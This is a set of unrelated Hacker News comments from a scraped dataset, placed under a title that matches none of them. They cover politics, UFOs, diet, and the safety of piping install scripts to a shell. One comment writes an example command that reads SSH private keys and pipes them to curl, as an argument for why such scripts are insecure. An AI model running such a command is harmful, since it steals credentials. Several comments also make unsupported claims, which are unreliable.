skysight-inc/HackerNews huggingface dataset:
An open letter to the Tesla fan who wants to run over a kid
Reading this made my day. Thank you, from my heart, for this software - it is precious to me.

I have relied on it since 2002 as my everyday media player on every device I have ever built. I have evangelized whenever and wherever I can.
> Because of attitudes like this.

I had no idea my attitude could magically make party elites care about this basic constitutional right! Thanks so so much for setting me straight.

> Political nihilism never won any battles.

Refusing to criticize politicians because they wear the tie color you like is the least effective thing you can possibly do.

I say it's nihilism to ignore this fact and vote these same people into office again and again.
Maybe it's the fabled wokium!
you work and ethics have been an inspiration to many
> Stupidest thing I've ever heard. There is no 'from the inside' in Australia, what media could you possibly have accessed before that you cannot now?

What I have found is that all the media in Australia, reporting about Australia, has a very specific tone and message that it's putting across.

I spent years around the world reading about Australia from outside Australia, and media in the rest of the world wasn't putting that message into the reporting.

If you have not, I suggest you leave for a good long while and see the place from the outside. It looks a lot different.
In 2022, there's probably a new generation working at those clients who have never seen the advanced features in Excel. You should put some feelers out to see if there's any demand.
Within the first couple of paragraphs, I was thinking “Yes, an income-sharing agreement loan, issued by an established, accredited institution sounds like something worth trying!” And then I read how this was just Purdue using a third-party company to make the loans, which disappointed me. And then Purdue explicitly saying “It’s not a loan” in their marketing materials? Ugh.

US Federal Student Loans have income-based repayment options. I’d love to see a school offer an ISA that is treated like a student loan, but the loan is being issued (and underwritten) by the school. If the school has more ‘skin in the game’ for a student’s success, that might incentivize them to improve both student selection (pre-enrollment) and counseling (post-enrollment).
Note to the author. Thanks for the invite but I will never intentionally click on a link for the Daily Mail.
The criminal codes mentioned in the warrant are below:

18 U.S. Code Chapter 37 - ESPIONAGE AND CENSORSHIP § 793 - Gathering, transmitting or losing defense information

18 U.S. Code Chapter 101 - RECORDS AND REPORTS § 2071 - Concealment, removal, or mutilation generally

18 U.S. Code Chapter 73 - OBSTRUCTION OF JUSTICE § 1519 - Destruction, alteration, or falsification of records in Federal investigations and bankruptcy
It’s in the Orthodox Jew community and it’s origin is the polio vaccine (weakened virus). Sometimes it reverts to not weak.
Right. And magnets? How do we know it's ferrous?
Back in the '80s and '90s there were both from the bottom-up with anarchistic, civic liberties-focused phone phreaks, greyhat hackers, cowboy coders and the like, as well as from the top-down from free market tech entrepreneur types.
Good question. I think that if Russia stationed troops in strategic places (with those countries’ permission) and/or retaliated in response to an actual attack on their country, then yes.

However, as far as I know, neither of those happened and the rationale I’ve heard reported is a mix of “that Land is really Russian land and Ukrainians are not a historically separate nation” or something like that.

I think what is truly immoral is the cynical and barbaric targeting of civilians, seemingly systematically and not isolated incidents.

My impression is that Russia isn’t doing this for defense reasons but rather for glory of the leader.

What do you think?
For anyone hitting a Wired paywall, this is also at https://hechingerreport.org/twilight-of-income-share-agreeme...
I feel like the smarter play would be pitching or investing in a startup to work on changing the economics of gravimetry, sonar and undersea robotics that would be required to identify technology signatures and find objects with extra-terrestrial origin to get talent working on one of the most important existential questions facing our species, and the reward is the mineral resources you find with the tech along the way.
Tip for making a programming language website: put some example code on the front page.
> Is an online mob of people with mental problems the best new way to censor information and discourage scientific oversight?

What you mean by this? Do you think his audience has mental problems, or...? If yes, then what percentage of his audience, etc.

EDIT: Just to add: I'm emphatically NOT defending this a-hole, but I'm interested in what we can say about his acolytes.
Steel (to cite just one example) is "tougher than iron" and still attracted to magnets (except for some types of stainless steel).
https://www.ojp.gov/ncjrs/virtual-library/abstracts/australi...
I wonder what you make of Shape Up: https://basecamp.com/shapeup/webbook
everyone has a responsibility to not do anything reprehensible. Some people just do not have a very good value system. I, for example, would not, no matter the money offered, construct a prison for kidnapped kids, or software to scam elderly people of their life savings. I also would not produce shit like DRM. Some clearly will, and hopefully there is a place for them :)
> Also your scrum master should be sheltering you from some of the distractions you are describing.

Yes. However, they're usually spread so thin and "scrum master" may too many teams to fully be invested in a single one.
Probably a hoax. But then you have footage such as this[0] that makes anyone go "wtf?" People would call them drones nowadays but that footage is from the 90s, so, yeah... That first clip especially always captivated my imagination.

[0] - https://www.youtube.com/watch?v=Xu-b2wAmM6U
Oh no baby got a boo boo. Call the waaaaaaambulance.

You don't understand what you're asking for.
Democrats say it will reduce inflation. Republicans say it will increase inflation. So far most economists seem to be saying the effect will be negligible or that it will cause modest, long-term downward pressure.
Related discussion from time of presumed incident 4 months ago

https://news.ycombinator.com/item?id=30914492
e e cummings, but in Excel.

https://en.wikipedia.org/wiki/E._E._Cummings
"a bunch of folks do something insecure" does not speak argument.

The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.

It's really silly.
I had no idea wheat grew in 4ish months. Definitely thought responding to this war was gonna be a nightmare for farmers.
> I don't know of any technology that can project an image into the sky like that, and then there is the radar signatures seen on some of these things.

Here’s a cool little read, from 2015.

“Plasma Fairies: Femtosecond Laser Holograms

Imagine a three-dimensional aerial hologram that you can feel.“

https://www.physicscentral.com/explore/action/femtosecond-ho...

I am not an expert but can imagine this technology evolving to projected images in the sky or even hologram projectiles, which sounds sci-fi af.
You definitely need to ease into cold to avoid the shock. Slowly ease one body part at a time into the cold stream. Or slowly turn down the temperature as it hits you.
my website was a gnu makefile for a minute : https://gitlab.com/acdw/acdw.net
1959 Santa Susana meltdown
a comparison between the us and somalia making about as much sense as it appears to at face value.
Ban the internet in general IMO
Or the most powerful group in the country implicitly threatened him.
>Build me a doorknob that shocks people.

Correct answer:
No, that is dumb.

>No, really, it's cool, I pinky swear it'll always be paired with a doorknob grounder(TM) I paid some other guy to make.

You:
It's just a doorknob for shocking people.

This is why we live in the worst timeline. Deep down, you know this to be true.
I know, however lots of people make it up as they go along.
There are numerous typos. When I saw what I'm pretty sure is on in a code example I gave up.

a := flag ifTrue: { 2. } ifFalse:{ 3 }.
^ ?

if not a typo an odd inconsistency.
With the initial Covid protocols training everybody into becoming constant receptacles for hand sanitizer, thermal receipt paper is probably worth being concerned about at this point.

Using hand sanitizer increases the absorption rate of BPA and other chemicals by a factor of 100 or more - https://www.newsweek.com/hand-sanitizer-speed-absorption-bpa...
Sure, but the British isles, which would eventually become a preeminent colonial power, still was a backwater even during the Roman Empire. France and Spain less so, but most of the Roman Empire's most developed regions were in the eastern Mediterranean. In his preface, he points out that from the span of human civilization from 2500BC to 2000 AD, Western Europe has been dominant for only a few centuries.
Do we know anyone who is doing this in the "mostly" remote world that we are living in right now?
Not always. Rarely, in my experience. It seems like this crazy Manichaean battle because there really are kind of two different worlds - the mostly-desktop world where there genuinely might not be any availability requirement (data availability is "somebody else's problem") and the server world where there practically always is. People who only know one get on forums like this and act like the others are being irresponsible, and if they tried to do each other's jobs that might be true. But in the real world, people usually agree pretty quickly on which world they're in and act accordingly.
Whatsapp has no legitimate uses, being an encrypted app owned by a company that gleefully shares data with like, everybody.
Why can’t the downloaded binary package do the exact same thing? Or do you decompile and go through those as well?
Times have changed greatly since the Great Recession. Individuals in general are more materially dispossessed than they were in the end of history '90s. Even well-paid hackers in San Francisco or Seattle can see poverty all around them. Meanwhile, corporate wealth and power have risen to the stuff of cyberpunk fantasies. Less luxury, nowadays, to be an absolutist individualist. Not to mention, libertarianism as a American political ideology has fallen by the wayside with the failure of the Ron Paul campaigns in 2008 and 2012.
I was personally surprised that maintainers would "be brave" at all with a codebase as widely used as the Linux kernel - just as much as to hear Linus suggest that this sort of thing happens time and time again.
> There is a negator word 不 bù, but just answering 「不」 wouldn’t make sense.

That goes a bit too far. It would certainly be understood, but be considered quirky, or an indication that you're not a native speaker.

My kids are bilingual German/Mandarin, and use it like that quite a bit.
Have you read the Hacker News Guidelines, particularly the section labeled "In Comments"? If you haven't, I suggest that you should.
I haven't tried Calm in a while, but I wonder if they were also trying to expand beyond meditation as Headspace has. Last time I checked, Headspace added general wellness features like workouts and also marketing tie-ins with Star Wars (and other Disney brands, I believe).

The whole thing fascinates me since it was initially just an app to help you meditate. But I suppose if the name of the game is growth, you have to expand somewhere.
Ukraine exports mostly to the Middle East and other nearby Asian/African countries. I don’t know if the US has plans to divert our wheat to those places.

The optics of the war seem a little staged. Gas prices down, wheat exports … up? It almost makes sense for Russia to dig in and prolong the war beyond a year to show that such optics are not sustainable by the US.

Strategically, if I were Russia, I wouldn’t even consider a ceasefire until winter passes and Europe gets hit with heating costs, just to make my point. It’s the only point of leverage left.
At this point we have to distrust the chips in our own devices. These chips are clearly not being designed to serve us (the owners of the devices that contain them). I'd even be fine with slower processors so long as we had the ability to verify exactly what they are and are not doing. With hardware we could trust not to betray us or prevent us from doing whatever we wanted we'd be better off than with locked down processors that prevent us from doing what we want but perform 'approved' operations faster.
These are not rare earths, rare earths are a family of chemically similar elements close together in the periodic table that are not actually that rare geologically. Platinum and iridium are just rare elements.
To be fair, the US government has been able to monitor who communicates with whom and how many pages their conversation is through the postal service since the beginning. Today it's much easier to track those physical with technology and automation.
Your comment is misinformed.

There are religions for atheists, such as Satanism.

UFOlogy is not a religion, and certainly neither are "UFO".
Unidentified Flying Objects could hardly be considered a religion. That's like saying a car is a religion to a gearhead.

Furthermore, insinuating that people who are into UFO are atheist and UFO are their religion is asinine. Many are atheist, but the majority I know are "spiritual", in pagan religions etc.

Additionally there are UFO religions, such as Scientology. There is also the Starseed movement.
That assumes that the president actually has full practical authority over the NSA and IC.

I don't know if that is true other than on paper.

These organizations consume the private details of the lives of every federal judge, every member of the legislature, every prosecutor, every staffer, and their entire families, all of their mistresses, drug dealers, fixers, and bag men.

I think this would put them in a position of significant leverage over anyone who is ever elected president.
I think you took the wrong word for emphasis. The false reports, and bias that leads them to write hit pieces against any group of another leaning, is what decreases their respectability. Any media group that leans too far one way or the other, loses respectability, because they stop reporting news, and start reporting fantasy.
amn't is absolutely a word. It's the standard contraction of "am not" in Hiberno-English. Wiktionary says it's used in Scotland as well: https://en.wiktionary.org/wiki/amn't
I am going to assume everything in the article is false until its actually found
Maybe they have dual missions? That’s not unusual in government agencies

For example when a military Is standing around they tend to do peaceful things like help deliver emergency supplies to areas hit by natural disasters. Militaries have great logistics and are used to going to “hard to reach” locations.

And after the Cold War, nuclear subs support whale researchers by monitoring them
That’s why you hedge though. Quite a lot of exposure should already be handled well before we get to this point in the season. Ag commodities can be brutal and few people know that more personally than farmers.
I for one think that this individual opinion has value under this post as a PSA to people who might not otherwise give the command a second thought, regardless of the conclusion they take away.
Definitely. But of course a metal detector coil can also look at simple change of inductance, hence responding to conductivity even with magnetic mu = 0.
> this is a commercial relationship

100% agreed, therefore, we should keep emotions out of it.

> People going there... could complain. Or take no sugar. Or choose a different coffee shop. Honestly, it's up to them. It's pretty reasonable to feel a bit upset though, I think, in that situation.

Exactly, they can just leave, pick an alternative. Why do they take to social media and cry about it? What do they expect to gain this way?

> You have costs to cover? Well, I'm sure you'll figure something out. You'll probably lose some customers and gain some others. Maybe it'll work out; maybe it won't.

Indeed they have just figured it out - they started charging for sugar. They will lose customers, most likely, but I don't believe they haven't seen that. I'd wager that it's the customers who got caught by surprise, and our now making a big deal out of it.

In short, I agree that we shouldn't have any sympathy for the companies in this case - it's just that I'd extend that to the users as well.
Is a beam splitter not visible to something like time domain reflectometry?
cooking oil is not bad for you if you use canola or olive oil, just stop cranking your burner up to high and you'll be fine.
The ideas in the STL were novel enough that when it was originally opposed the C++ committee didn't really "get" it. Generic programming existed since the 1970s, but it wasn't popular until maybe this century.

So there's just no way K&R C gets anything like the STL. Maybe you get stuff like a char* (these days you would write void * but that's not a thing yet) linked list? That does not sound like a better world.
It could, but I can trust that no individual stepped in the middle of that process.

I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.

Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.
You seem to be blaming the victim.
You don't just average user ratings, you need to have a smart system.

First, each user needs to have a history or they won't be considered in the rating almost at all. Then, each user's history gets analyzed for average rating vs. the average userbase so you can determine whether this user upvotes everything or only rates the sites that are terrible.

So each user gets a score of "threshhold" of what rating site they will thumbs up. Some users will thumbs up a site that's 50% (mostly useless, but not outright spam), while some only upvote sites that are 80% (good content at the very least).

Then regressed for this variable, you can calculate their feelings on each site and see if it correlates well with other users. The more ratings, the more each additional rating is weighted.

This will reduce the number of ratings required for a statistically valid sample for each search query (since you need to tell users if it's relevant for the thing being searched, not just quality of the site). But you also need to fight bots as well.

This system may not be perfect, but it would add value to a search engine
you are kind of describing DNS SRV records. but browsers don't use it
If you're used to being warm, then I could see 71 with some air flow and no/very thin clothing being enough to trigger a shiver. With my office set to 70, a fan on my bare legs can be too chilly sometimes. I hate heat and sweat a lot in summer, so I'm not opposed to cold either.
A take on why modern workplaces are broken & what replaces it in future
The developer has accounted for this with a prominent link to the file in question, see “View the script that will be executed here”.
How on earth do they think they are going to find it
I love this soapbox! I'm trying to figure out why a well-intentioned company starts this way, and then quickly digresses. I think part of the issue is the feedback loop doesn't exist. If your end to end cycle is done, the sales team can tell the customer that feature x will be done on date y (we can say they should never gives dates but I think this is impractical). Then, let's say priorities change, and the agile cycle determines that we should focus on other items. I think product and sales fail to "bubble this up" and then a toxic culture starts to brew where product and sales despise engineering and middle management can't be trusted to "fight for their engineers".
Absolutely! And rim brakes with new break pads can work better than disc brakes. Besides you don’t need to refill brake fluid in rim brakes.
It seems more to me like having the kind of power a modern president of the US wields is inevitably going to change all but the steeliest person, and mostly for the worse.
<cries in Windows>
canola and olive oils are fine, and even good for you. Just count them towards your caloric intake as they do have a lot of calories. measure out a tablespoon and don't just pour it in. Heat and a little oil go a long way. As long as you aren't heating your oil so much that it smokes you are good.
Assange still hasn't been put on trial. It's been well over a decade. Same for the guys at Guantanamo.

The CIA runs a global network of unaccountable torture prisons.

They once grounded (over Austria) and swatted the plane of a head of state flying from Moscow to Bolivia because they thought Snowden might be on it.

They don't use the power very often, but it is there when they want to, at any time.
I think your comment reflects more on yourself than anything else.
I mean I think it's outrageous but I would be willing to look at a cost benefit analysis proving me wrong
The hints of a persecution complex in the last paragraph -- implicitly comparing himself to Galileo and saying that Galileo would have been "canceled on social media", is a bit of a red flag. That being said, sure I hope they find and study this object, why not.
IT solves IT's problems by externalising the costs into the teams they purportedly serve.
Install scripts are usually hosted on GitHub/etc and changes are clearly tracked. Compiled binaries are untracked and do not offer the same guarantees. I would trust the script more than a binary that could’ve been modified anywhere along the build process.

Not everyone uses Linux, and not every package can be audited by repo devs. It’s simply not scalable.
Wasn’t this how you got unreal mode anyway? If you were executing things in ring 0 you already “pwnd” the box, after all.
No need to speculate:

"We will happily ship a Starlink kit to any customer that purchases one. With Starlink kits all over the world, we don't have much control over what users do to them. History shows us that it's hard (and maybe impossible) to make devices completely resilient to persistent attackers with unrestricted physical access – the attacker just has too much power when they have infinite time to modify the hardware. In the limit they could always just build their own user device from scratch, though we know from experience that it's pretty hard to do so. Ultimately, the only way for us to build a secure system is to assume that attackers will eventually get into the Starlink kit, and add additional layers of defense-in-depth to protect our network and the other users within it. Other parts of the Starlink network, like satellites, might be more difficult for a consumer to get their hands on, but similarly are built with layers of defense.
To provide these additional layers of protection, there are a number of security properties that we believe are important both in the Starlink kit and in the rest of the system"

From https://api.starlink.com/public-files/StarlinkWelcomesSecuri...